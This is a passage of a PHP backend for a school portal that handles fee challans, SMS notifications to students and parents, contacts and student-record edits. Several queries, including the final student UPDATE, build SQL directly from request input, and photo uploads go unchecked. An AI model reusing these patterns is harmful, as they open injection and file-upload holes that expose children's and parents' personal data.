		$m->where ("branch_id", $_SESSION['branch']);

		$m->where ("challan_id", $_REQUEST['challan']);

		$old_challan =  $m->get ('eduportal_monthly_challan');


		$dataInsert = array(

					'old_challan_id' => $old_challan[0]['challan_id'],

					'month_id' => $old_challan[0]['month_id'],

					'month_to' => $old_challan[0]['month_to'],

					'session_id' => $old_challan[0]['session_id'],

					'classs_id' => $old_challan[0]['classs_id'],

					'challan_duedate' => $old_challan[0]['challan_duedate'],

					'collected_amount' => $old_challan[0]['collected_amount'],

					'paid_again_amount' => $old_challan[0]['paid_again_amount'],

					'paid_again_date' => $old_challan[0]['paid_again_date'],

					'paid_again_time' => $old_challan[0]['paid_again_time'],

					'paid_again_user_id' => $old_challan[0]['paid_again_user_id'],

					'paid_status' => $old_challan[0]['paid_status'],

					'paying_date' => $old_challan[0]['paying_date'],

					'total_fine' => $old_challan[0]['total_fine'],

					'collected_fine' => $old_challan[0]['collected_fine'],

					'tutionfee' => $old_challan[0]['tutionfee'],

					'transportfee' => $old_challan[0]['transportfee'],

					'balance' => $old_challan[0]['balance'],

					'branch_id' => $old_challan[0]['branch_id'],

					'student_id' => $old_challan[0]['student_id'],

					'sms_status' => $old_challan[0]['sms_status'],

					'challan_created' => $old_challan[0]['challan_created'],

					'misc_fee' => $old_challan[0]['misc_fee'],

					'disc_amount' => $old_challan[0]['disc_amount'],

					'disc_type' => $old_challan[0]['disc_type'],

					'paying_time' => $old_challan[0]['paying_time'],

					'paid_fee_user_id' => $old_challan[0]['paid_fee_user_id'],

					'paid_by' => $old_challan[0]['paid_by'],

					'commitment' => $old_challan[0]['commitment'],

					'commitment_date' => $old_challan[0]['commitment_date']

					);



				  $result = $m->insert('edu_portal_deleted_challan',$dataInsert);



	    $m->where ("branch_id", $_SESSION['branch']);

		$m->where ("challan_id", $_REQUEST['challan']);

		$m->delete('eduportal_monthly_challan');


		$m->where("Month_Id", $_REQUEST['month_id']);					

		$monthName = $m->get("eduportal_month_config");


		$m->where("student_id", $_REQUEST['student_id']);					

		$stdName = $m->get("edu_student_details");

	

	// now adding user audit detail


		$username=$_SESSION['username'];
		$month=$monthName[0]['Month_Name'];
		$studentName=$stdName[0]['first_name'];
		$adm_no=$stdName[0]['ref_no'];
		$roll_no=$stdName[0]['candidate_roll_no'];


		$action="Deleted Individual Challan";

		$details= $studentName." | ".$adm_no." | ".$roll_no." | Total Challan Amount = ".$_REQUEST['TotalAmount']." Paid Amount = ".$_REQUEST['PaidAmount']." Month = ".$month;

		date_default_timezone_set("Asia/Karachi");

		$data = array(

		'user_id' => $_SESSION['user_id'],

		'module_id' => 14,

		'action' => $action,

		'details' => $details,

		'date' => date("Y-m-d"),

		'month_id' => date('m'),

		'time' => date("h:i:sa"),

		'branch_id' => $_SESSION['branch'],

		);



		//print_r($data);



		$result = $m->insert('eduportal_users_auditlog_detail',$data);

	

		header("location:../pay_fee.php?".session_id().session_id().session_id()."&student=".$_REQUEST['student_id']."&s=".session_id().session_id()."&session=".$_REQUEST['session']);

		

}











if($_REQUEST['action']=='CreateStudentChallan')

{



	

         //print_r($_REQUEST); echo "<br>";



		$discount=0;



	    if($_REQUEST['disc_type']=="Percentage"){

	       $discount=$_REQUEST['tution_fee']/100*$_REQUEST['disc_amount'];

	    }else {

	      $discount=$_REQUEST['disc_amount'];

	    }

			 



		$m->where ("month_id", $_REQUEST['month_id']);

		$m->where ("session_id", $_REQUEST['session']);

		$m->where ("branch_id", $_SESSION['branch']);

		$m->where ("student_id", $_REQUEST['student_id']);

		$old_challan =  $m->get ('eduportal_monthly_challan');

	

		if(count($old_challan)>0) {



		$_SESSION['alredy_Added']=1;

			

		header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");



		} else {





      // generating new challan of month 

          $data = array(

          'month_id' => $_REQUEST['month_id'],

          'session_id' => $_REQUEST['session'],

          'classs_id' => $_REQUEST['class_id'],

          'challan_duedate' => $_REQUEST['duedate'],

          'tutionfee' => $_REQUEST['tution_fee'],

          'transportfee' => $_REQUEST['transport_fee'],

          'balance' => $_REQUEST['outstanding'],

          'branch_id' => $_SESSION['branch'],

          'student_id' => $_REQUEST['student_id'],

          'misc_fee' => $_REQUEST['std_misc_fee'],

		  'disc_amount' => $discount,

		  'disc_type' => $_REQUEST['disc_type']);



          $result = $m->insert('eduportal_monthly_challan',$data);

          $challan_id= $m->getInsertId();



	

			/*before we insert new record just delte the old entries */



			$m->where ("challan_id", $_REQUEST['challan_id']);

		    $m->delete('eduportal_monthly_challan_details');





           $fee_types = $m->get("eduportal_fee_types");

		

			foreach ($fee_types as $type) {



				$type_val=$_REQUEST['type'.$type['feetype_id']];



				if($type_val!=""){



		           $data = array(

			          'challan_id' => $challan_id,

			          'feetype_id' =>$type['feetype_id'],

			          'fee_amount' => $type_val,

			          'session_id' => $_SESSION['current_session'],

			          'branch_id' => $_SESSION['branch'],

			          'class_id' => $_REQUEST['class_id'],

			          'month_id' => $_REQUEST['month_id'],

			          'student_id' => $_REQUEST['student_id']

			          );

		          

		           $result = $m->insert('eduportal_monthly_challan_details',$data);



		          // print_r($data); echo "<br><br>";

		    

				} // ending if



			 } // ending foreach loop



			

		} // ending else



			// now adding user audit detail


					$m->where("Month_Id", $_REQUEST['month_id']);

					$MonthName = $m->get("eduportal_month_config");


					$m->where("session_id", $_REQUEST['session']);					

					$sessionName = $m->get("edu_session_config");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");


					$m->where("student_id", $_REQUEST['student_id']);

					$stdName = $m->get("edu_student_details");

					
					$Class_Name=$rec[0]['Class_Name'];
					$username=$_SESSION['username'];
					$month_name=$MonthName[0]['Month_Name'];
					$year=$sessionName[0]['session_year'];

					$action="Created Individual Challan";
	  				$details="Created Monthly Challan (".$stdName[0]['first_name'].") , Class=".$Class_Name.", Month=".$month_name.", Session=".$year ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



		$_SESSION['Student_Added']=1;



  	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&successmsg=1&student=".$_REQUEST['student_id']."&month=".$_REQUEST['month_id']."&session=".$_REQUEST['session']);

		

}  // ending main if









// inserting single student



if(($_REQUEST['action']=='AddProspectus'))

{



	// echo "<pre>"; print_r($_REQUEST); echo "</pre>";

	

	

				$data = array(

					'first_name' => utf8_decode_all($_REQUEST['fname']),

					'last_name' => utf8_decode_all($_REQUEST['lname']),

					'cell_no' => utf8_decode_all($_REQUEST['cellno']),

					'fee' => utf8_decode_all($_REQUEST['fee']),

					'gender' => utf8_decode_all($_REQUEST['gender']),

					'session_id' => utf8_decode_all($_REQUEST['session']),

					'visiting_date' => utf8_decode_all($_REQUEST['date']),

					'address' => utf8_decode_all($_REQUEST['address']),

					'branch_id' => utf8_decode_all($_SESSION['branch']),

					'class_id' => utf8_decode_all($_REQUEST['class']),

				);





				// echo "data--"."<pre>"; print_r($data); echo "</pre>";





				 $result = $m->insert('edu_prospectus_visitors',$data);			

				$_SESSION['addpros']=1;	



		header("location:../view_pospectus.php?".session_id().session_id().session_id().session_id().session_id());

	



}  // main 















if(($_POST['action']=='SendFeeSMS'))

{



  

  $sms=0;



  $cell_no;



$message = "Dear student,

Your fee is not clear, please submit your fee as soon as possible.  From: ".$_SESSION['branch_name'];

	//echo $message;



//	print_r($_POST);





 for($i=0;$i<count($_POST['numbers']);$i++){

    

    if($_POST['numbers'][$i]!=null){

    

      $challan_id=$_POST['challan_id'][$i];

      $class_id=$_POST['class_id'][$i];

      $number=$_POST['numbers'][$i];

      $limit=$_POST['limit'];

    





      if(substr($number,0,1)=="3"){

      $number1 = "92".$number;

      }else if(substr($number,0,1)=="0"){

      $number1 =  "92".substr($number,1);

      }

      else if(substr($number,0,2)=="92"){

      $sendmsg1 =  $number;

      }

      else{

       $number1 = "Invalid Number";

      }





  

         $cell_no.=$number1.",";







    // now updating message status 

        

    $data = array('sms_status' => "1");

    $m->where ("challan_id", $challan_id);

    $result =  $m->update ('eduportal_monthly_challan', $data);

    



    $data = array('msg_from' => $to,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => '1');

    $result =  $m->insert ('edu_messages_details', $data);





    $sms++;



   // print_r( $data);



    }// ending if number is not blank



  } // ending loop 









// API code to send SMS



   $username = SMSAPI_USER;

    $password = SMSAPI_PASS;

    $to = $cell_no;

    $from = 'Brand';

    

    $url = "http://Lifetimesms.com/plain?username=".$username."&password=".$password."&to=".$to."&from=".urlencode($from)."&message=".urlencode($message)."";

    //Curl Start



    

    $ch  =  curl_init();

    $timeout  =  30;

    curl_setopt ($ch,CURLOPT_URL, $url) ;

    curl_setopt ($ch,CURLOPT_RETURNTRANSFER, 1);

    curl_setopt ($ch,CURLOPT_CONNECTTIMEOUT, $timeout) ;

    $response = curl_exec($ch) ;

    curl_close($ch) ; 

    

 





 $val=intVal($limit)-intVal($sms);



  // updating sms credit limit



    $data = array('sms_limit' => $val);





    $m->where("branch_id", $_SESSION['branch']);

    

    $result =  $m->update ('edu_branch_config', $data);

 

 

   header("location:../fee_defaulters.php?".session_id().session_id().session_id().session_id().session_id()."");

}







if($_POST['action_call']=='SendFeeNotifications')
{


 // print_r($_POST);
	 
	$sms=0;
	$cell_no;



 for($i=0;$i<count($_POST['students']);$i++){
 	$id=$_POST['students'][$i];
  
      $std_name=$_POST['std_name'.$id];
      
      $number=$_POST['numbers'.$id];
    
      $session=$_POST['session'];
      $class_id=$_POST['class_id'];
      $section=$_POST['section'];


 $message ="Dear ".$std_name.", Your fee challan of ".$_POST['month_name']." has been generated 
  Total: ".intVal($_POST['total_fee'.$id])." Duedate:".$_POST['duedate'.$id]."
From: 
".$_SESSION['branch_name'];

// print_r($message)."<br>";

  
  	$result=sendSMSFuction($number,$message,$_SESSION['brand']);

   
    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);
    $result =  $m->insert ('edu_messages_details', $data);
   

 
  } // ending loop 



  $_SESSION['msg_sent']=1; 
  
  
  $url="../view_challan.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&class_id=".$_REQUEST['class']."&section=".$_REQUEST['section']."&month=".$_REQUEST['month'];

	echo "<script>window.location="."'$url'"."</script>";



}






if($_REQUEST['action']=='SendFeeNotificationsClassWise')
{


  //print_r($_REQUEST);
	 
	$sms=0;
	$cell_no;


  $m->where("classs_id", $_REQUEST['class_id']);

  if($_REQUEST['session']!=NULL){
  $m->where("session_id", $_REQUEST['session']);
  }

  if($_REQUEST['month']!=NULL){
  $m->where("month_id", $_REQUEST['month']);
  }	

$m->where("branch_id", $_SESSION['branch']);
$WorkAssignListings = $m->get("eduportal_monthly_challan");


$monthName=getMonthName($m,$_REQUEST['month']);

 foreach($WorkAssignListings as $WorkAssignListVal){

 	$m->where("branch_id", $_SESSION['branch']);
 	$m->where("student_id", $WorkAssignListVal['student_id']);
	$students = $m->get("edu_student_details");


	$dueDate=date("d-M",strtotime($WorkAssignListVal['challan_duedate']));


	// check if the challan is already created
  

$qr = "select * from  eduportal_monthly_challan where branch_id=".$_SESSION['branch'];

if ($_REQUEST['class_id']!=NULL) {
    $qr .= " AND classs_id=" . $_REQUEST['class_id']. " ";
}

if ($_REQUEST['session']!=NULL) {
    $qr .= " AND session_id=" . $_REQUEST['session']. " ";
}

if ($WorkAssignListVal['student_id']!=NULL) {
    $qr .= " AND student_id=" . $WorkAssignListVal['student_id']. " ";
}


if ($_REQUEST['month']!=NULL) {
    $qr .= " AND month_id=" . $_REQUEST['month']. " ";
}

$qr .= " order by challan_id  desc limit 1";

//echo $qr;

  $student_challan =  $m->query ($qr);  



   // print_r($student_challan);

    if(count($student_challan)>0){
  
        $student_balance=$student_challan[0]['balance']+0;
        //echo $total."--b--".$collected_amount;

    }else {
      
      $student_balance=$WorkAssignListVal['std_outstanding_blc'];
    
    }


	$totalAmount= $WorkAssignListVal['tutionfee']+$WorkAssignListVal['transportfee']+$student_balance+$WorkAssignListVal['misc_fee']+getFeeAllOtherFee($students[0]['student_id'],$WorkAssignListVal['challan_id'],$m);

	$totalstdAmount=$totalAmount-$WorkAssignListVal['disc_amount'];
 	

      $std_name=$students[0]['first_name'];
      
      $number=$students[0]['cell_no'];
    
      $session=$_REQUEST['session'];
      $class_id=$_REQUEST['class_id'];
      $section=$_REQUEST['section'];


 $message ="Dear ".$std_name.", Your fee challan of ".$monthName." has been generated 
  Total: ".intVal($totalstdAmount)." Duedate:".$dueDate."
From: 
".$_SESSION['branch_name'];

// print_r($message)."<br>";

  
  	$result=sendSMSFuction($number,$message,$_SESSION['brand']);

   
    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);
    $result =  $m->insert ('edu_messages_details', $data);
   

 
  } // ending loop 



  $_SESSION['msg_sent']=1; 
  
  
  $url="../view_challan.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&class_id=".$_REQUEST['class']."&section=".$_REQUEST['section']."&month=".$_REQUEST['month'];

	echo "<script>window.location="."'$url'"."</script>";



}





if($_POST['action_call']=='SendResultSMS')

{





  //print_r($_POST['checkboxes']);

	 

	$sms=0;

	$cell_no;





 for($i=0;$i<count($_POST['checkboxes']);$i++){

    



  if($_POST['checkboxes'][$i]!=null){



	 $id=$_POST['checkboxes'][$i];    



      $std_name=$_POST['std_name'.$id];

      $student_id=$_POST['student_id'.$id];

      $number=$_POST['numbers'.$id];

    

      $grade=$_POST['grade'.$id];

      $tmarks=$_POST['tmarks'.$id];

      $obt=$_POST['obt'.$id];

      $term=$_POST['term_title'];

     

      $limit=$_POST['limit'];



      $term_id=$_POST['term_id'];

      $session=$_POST['session'];

      $class_id=$_POST['class_id'];

      $section=$_POST['section'];

      $classSection=getClassName($m,$class_id);



  $msg ="Dear Parents, 

Result of ".$std_name." 

Class:".$classSection."

(".$term.") 

Total:".$tmarks." 

Obtained:".$obt." 

Percentage:".$_POST['percen'.$id]."% 

From:".$_SESSION['branch_name'];





	if($_POST['submit']!=NULL){



		$message=$msg;



	}



	else if($_POST['detailed']!=NULL){



	  $message=$_POST['msg_txt'.$id];

	 

	}





	$result=sendSMSFuction($number,$message,$_SESSION['brand']);

				

	

	//print_r($result);





    // now updating message status         

    $data = array('sms_status' => "1");

    $m->where ("branch_id", $_SESSION['branch']);

    $m->where ("class_id", $class_id);

    $m->where ("section_id", $section);

    $m->where ("session_id", $session);

    $m->where ("student_id", $student_id);

  

    $result =  $m->update ('eduportal_exam_marksheet', $data);

    

   

    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'result_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

    //print_r($data);

    

    $sms++;

    //print_r( $data);



    }// ending if number is not blank



  } // ending loop 





  // now adding user audit detail



	  				$m->where("section_id", $_REQUEST['section_id']);

					$sec = $m->get("edu_adm_section_detail");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$section_name=$sec[0]['section_name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Send Subject Wise Result , Class=".$Class_Name;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



  $_SESSION['msg_sent']=1; 

  

  

  $url="../reports.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_REQUEST['term_id']."&session=".$_REQUEST['session']."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section'];



  echo "<script>window.location="."'$url'"."</script>";







}









if($_POST['action_call']=='DeleteSelectedDiary')

{

//  print_r($_POST['diries']);	 


 for($i=0;$i<count($_POST['diries']);$i++){    



  if($_POST['diries'][$i]!=null){

	 $id=$_POST['diries'][$i];   
	  
   
      $m->where ("branch_id", $_SESSION['branch']);

      $m->where("diary_id", $id);

      $result = $m-> delete('eduportal_student_diary');


    }// ending if number is not blank

  } // ending loop 


  //$_SESSION['msg_sent']=1;   

  $url="../view_student_diaries.php?".session_id().session_id().session_id().session_id().session_id();

  echo "<script>window.location="."'$url'"."</script>";



}






if($_POST['action_call']=='SendCommitmentSMS')

{





  //print_r($_POST['checkboxes']);

	 

	$sms=0;

	$cell_no;





 for($i=0;$i<count($_POST['checkboxes']);$i++){

    



  if($_POST['checkboxes'][$i]!=null){



	 $id=$_POST['checkboxes'][$i];    



      $std_name=$_POST['std_name'.$id];

      $student_id=$_POST['student_id'.$id];

      $number=$_POST['numbers'.$id];

    

      $grade=$_POST['grade'.$id];

      $tmarks=$_POST['tmarks'.$id];

      $obt=$_POST['obt'.$id];

      $term=$_POST['term_title'];

     

      $limit=$_POST['limit'];



      $term_id=$_POST['term_id'];

      $session=$_POST['session'];

      $class_id=$_POST['class_id'];

      $section=$_POST['section'];





  $msg ="Dear Parents, 

Result of ".$std_name." 



(".$term.") 

Total:".$tmarks." 

Obtained:".$obt." 

Postion:".$_POST['pos'.$id]." 

From:".$_SESSION['branch_name'];





	if($_POST['submit']!=NULL){



		$message=$msg;



	}



	else if($_POST['detailed']!=NULL){



	  $message=$_POST['msg_txt'.$id];

	 

	}





	$result=sendSMSFuction($number,$message,$_SESSION['brand']);

				

	

	//print_r($result);





    // now updating message status         

    $data = array('sms_status' => "1");

    $m->where ("branch_id", $_SESSION['branch']);

    $m->where ("class_id", $class_id);

    $m->where ("section_id", $section);

    $m->where ("session_id", $session);

    $m->where ("student_id", $student_id);

  

    $result =  $m->update ('eduportal_exam_marksheet', $data);

    

   

    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'result_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

    //print_r($data);

    

    $sms++;

    //print_r( $data);



    }// ending if number is not blank



  } // ending loop 





  // now adding user audit detail



	  				$m->where("section_id", $_REQUEST['section_id']);

					$sec = $m->get("edu_adm_section_detail");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$section_name=$sec[0]['section_name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Send Subject Wise Result , Class=".$Class_Name;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



  $_SESSION['msg_sent']=1; 

  

  

  $url="../reports.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_REQUEST['term_id']."&session=".$_REQUEST['session']."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section'];



  echo "<script>window.location="."'$url'"."</script>";







}



if(($_REQUEST['action']=='AddTemplate'))

{





	if($_REQUEST['title']!='')

	{

		

		$title=$_REQUEST['title'];

		$template=$_REQUEST['text_fld'];

		$branch=$_SESSION['branch'];

		

		$data = array(

				'template_title' => utf8_decode_all($title),

				'template_detail' => utf8_decode_all($template),

				'branch_id' => utf8_decode_all($branch)

			);

//print_r($data);

	 $result = $m->insert('eduportal_templates_details',$data);



	 // now adding user audit detail

					

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Template , Title=".$title;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);

			

		$_SESSION['addtemp']=1;	

		 	

		header("location:../view_templates.php?".session_id().session_id().session_id().session_id().session_id()."");





	}





}











if(($_REQUEST['action']=='AddContact'))

{





	if($_REQUEST['title']!='')

	{

		

		$title=$_REQUEST['title'];

		$template=$_REQUEST['contact'];

		$catgry=$_REQUEST['cat'];

		$branch=$_SESSION['branch'];

		

		$data = array(

				'contact_title' => utf8_decode_all(ucwords($title)),

				'contact_no' => utf8_decode_all($template),

				'cat_id' => utf8_decode_all($catgry),

				'adding_date' => date("Y-m-d"),

				'contact_details' => utf8_decode_all(ucwords($_REQUEST['detail'])),

				'branch_id' => utf8_decode_all($branch)

			);





	 $result = $m->insert('eduportal_contacts',$data);



	 if ($_REQUEST['send_msg']=="YES") {
					

	    $number=$_REQUEST['contact'];

		$stdName =$_REQUEST['title'];

		$message="Dear ".$stdName.", Thank You For Visiting From ".$_SESSION['branch_name'];


		sendSMSFuction($number,$message,$_SESSION['brand']);


	   $msgcount=ceil(strlen($message)/160);

	   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
	    $result =  $m->insert('edu_messages_details', $data);

	  }



			

	 	// now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Contact , Contact Name=".$title;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);






		$_SESSION['addContact']=1;	

		 	

		header("location:../contacts.php?".session_id().session_id().session_id().session_id().session_id()."");





	}





}









if(($_GET['action']=='DeleteTemplate'))

{





	if($_GET['id']!='')

	{

		

		$id=$_GET['id'];

		

	 $m->where("branch_id", $_SESSION['branch']);

	 $m->where("template_id", $id);

	 $data = array(

				'status' => "1"	);



	 $result = $m->update('eduportal_templates_details',$data);



	 // now adding user audit detail



	  			

					$m->where("template_id", $id);

					$temp = $m->get("eduportal_templates_details");

					

					$title_name=$temp[0]['template_title'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Delete Template , Title=".$title_name;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);


		$_SESSION['delltemp']=1;	

		header("location:../view_templates.php?".session_id().session_id().session_id().session_id().session_id()."");

	}

}



if(($_REQUEST['action']=='EditStudent'))

{

	if($_REQUEST['id']!='')

	{

	   	    // echo "<pre>"; print_r($_REQUEST); echo "</pre>";

			$ref=$_REQUEST['ref_no'];

			$fname=$_REQUEST['fname'];

			$lname=$_REQUEST['lname'];

			$religion=$_REQUEST['religion'];

			$gender=$_REQUEST['gender'];

			$gname=$_REQUEST['gname'];

			$cnic=$_REQUEST['cnic'];

			$dob=$_REQUEST['dob'];

			$cellno=$_REQUEST['cellno'];

			$postal=$_REQUEST['postal'];

			$email=$_REQUEST['email'];

			$password=$_REQUEST['password'];

			$country=$_REQUEST['country'];

			$state=$_REQUEST['state'];

			$city=$_REQUEST['city'];

			$address=$_REQUEST['address'];

			$date_of_adms=$_REQUEST['date_of_adms'];

			$formBNo=$_REQUEST['formBNo'];

			$optionalSub=$_REQUEST['optionalSub'];

			$selection=$_REQUEST['selection'];

			$sibling=$_REQUEST['sibling'];

			$Fqualification=$_REQUEST['Fqualification'];

			$Foccupation=$_REQUEST['father_occupation'];

			$Fincome=$_REQUEST['Fincome'];

			$Gqualification=$_REQUEST['Gqualification'];

			$Goccupation=$_REQUEST['Goccupation'];

			$Gincome=$_REQUEST['Gincome'];

			$Gcnic=$_REQUEST['Gcnic'];

			$Gaddress=$_REQUEST['Gaddress'];

			$urdu_name=$_REQUEST['urdu_name'];

			$medium=$_REQUEST['medium'];

			//$admission_option=$_REQUEST['admission_option'];

			$chronical_disease=$_REQUEST['chronical_disease'];

			$doctor_name=$_REQUEST['doctor_name'];

			$doctor_cell=$_REQUEST['doctor_cell'];

			$whatsapp_number=$_REQUEST['whatsapp_number'];

			$family_code=$_REQUEST['family_code'];

			$grand_paa=$_REQUEST['grand_paa'];

			$father_designation=$_REQUEST['father_designation'];

	



		  if($_FILES['img_file']['name']!=""){



				$target_path = "../students_pics/"; 

				$rand=rand(00000,999999);

				$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

				$img_src =  basename($rand.$_FILES['img_file']['name']);

				$tmp = $_FILES['img_file']['tmp_name'];

				move_uploaded_file($tmp, $target_path);

			}   else{$img_src =$_REQUEST['old_file'];}


			/*

			$data = array(

				'ref_no' => utf8_decode_all($ref),

				'first_name' => utf8_decode_all($fname),

				'last_name' => utf8_decode_all($lname),

				'cell_no' => utf8_decode_all($cellno),

				'email' => utf8_decode_all($email),

				'gender' => utf8_decode_all($gender),

				'gardian_name' => utf8_decode_all($gname),

				'cnic' => utf8_decode_all($cnic),

				'p_code' => utf8_decode_all($postal),

				'religion' => utf8_decode_all($religion),

				'image' => utf8_decode_all($img_src),

				'dob' => utf8_decode_all($dob),

				'address' => utf8_decode_all($address),

				'State_Id' => utf8_decode_all($state),

				'City_Id' => utf8_decode_all($city),

				'date_of_adms' => utf8_decode_all($date_of_adms),

				'formBNo' => utf8_decode_all($formBNo),

				'optional_subject' => utf8_decode_all($optionalSub),

				'selection' => utf8_decode_all($selection),

				'sibling' => utf8_decode_all($sibling),

				'father_qualification' => utf8_decode_all($Fqualification),

				'father_occupation' => utf8_decode_all($Foccupation),

				'father_income' => utf8_decode_all($Fincome),

				'gardian_qualification' => utf8_decode_all($Gqualification),

				'gardian_occupation' => utf8_decode_all($Goccupation),

				'gardian_income' => utf8_decode_all($Gincome),

				'gardian_cnic' => utf8_decode_all($Gcnic),

				'gardian_address' => utf8_decode_all($Gaddress),

				'urdu_name' => utf8_decode_all($urdu_name),

				'medium' => utf8_decode_all($medium),

				'chronical_disease' => utf8_decode_all($chronical_disease),

				'doctor_name' => utf8_decode_all($doctor_name),

				'doctor_cell' => utf8_decode_all($doctor_cell),

				'whatsapp_number' => utf8_decode_all($whatsapp_number),

				'family_code' => utf8_decode_all($family_code),

				'grand_paa' => utf8_decode_all($grand_paa),

				'father_designation' => utf8_decode_all($father_designation),

				'old_class' => utf8_decode_all($_REQUEST['old_class']),

				'old_school' => utf8_decode_all($_REQUEST['old_school']),

				'old_tmarks' => utf8_decode_all($_REQUEST['old_tmarks']),

				'old_obtmarks' => utf8_decode_all($_REQUEST['old_obtmarks']),

				'father_Bnumber' => utf8_decode_all($_REQUEST['father_Bnumber']),

				'home_number' => utf8_decode_all($_REQUEST['home_number']),

				'Fbusiness_address' => utf8_decode_all($_REQUEST['Fbusiness_address']),

				'mother_name' => utf8_decode_all($_REQUEST['mother_name']),

				'mother_qualification' => utf8_decode_all($_REQUEST['mother_qualification']),

				'mother_activity' => utf8_decode_all($_REQUEST['mother_activity']),

				'mother_designation' => utf8_decode_all($_REQUEST['mother_designation']),

				'mother_Bnumber' => utf8_decode_all($_REQUEST['mother_Bnumber']),

				'mother_cell' => utf8_decode_all($_REQUEST['mother_cell']),

	     		'mother_Baddress' => utf8_decode_all($_REQUEST['mother_Baddress']),

				'gardian_designation' => utf8_decode_all($_REQUEST['gardian_designation']),

				'gardian_Bnumber' => utf8_decode_all($_REQUEST['gardian_Bnumber']),

				'gardian_email' => utf8_decode_all($_REQUEST['gardian_email']),

				'school_leaving' => utf8_decode_all($_REQUEST['school_leaving']),

				//'father_cellno	' => utf8_decode_all($_REQUEST['father_cellno']),

				'cast' => utf8_decode_all($_REQUEST['cast'])

				);


			 print_r($data);

			 $m->where("student_id", $_REQUEST['id']);

			 $result = $m->update('edu_student_details',$data); */





$sql="update edu_student_details set ref_no='$ref',first_name='$fname',last_name='$lname',cell_no='$cellno',email='$email',gender='$gender',gardian_name='$gname',cnic='$cnic',p_code='$postal',religion='$religion',image='$img_src',dob='$dob',address='$address',State_Id='$state',City_Id='$city',date_of_adms='$date_of_adms',formBNo='$formBNo',optional_subject='$optionalSub',selection='$selection',sibling='$sibling',father_qualification='$Fqualification',father_occupation='$Foccupation',father_income='$Fincome',gardian_qualification='$Gqualification',gardian_occupation='$Goccupation',gardian_income='$Gincome',gardian_cnic='$Gcnic',gardian_address='$Gaddress',urdu_name='".utf8_decode_all($urdu_name)."',medium='$medium',chronical_disease='$chronical_disease',doctor_name='$doctor_name',doctor_cell='$doctor_cell',whatsapp_number='$whatsapp_number',family_code='$family_code',grand_paa='$grand_paa',father_designation='$father_designation',old_class='".$_REQUEST['old_class']."',old_school='".$_REQUEST['old_school']."',old_tmarks='".$_REQUEST['old_tmarks']."',old_obtmarks='".$_REQUEST['old_obtmarks']."',father_Bnumber='".$_REQUEST['father_Bnumber']."',home_number='".$_REQUEST['home_number']."',Fbusiness_address='".$_REQUEST['Fbusiness_address']."',mother_name='"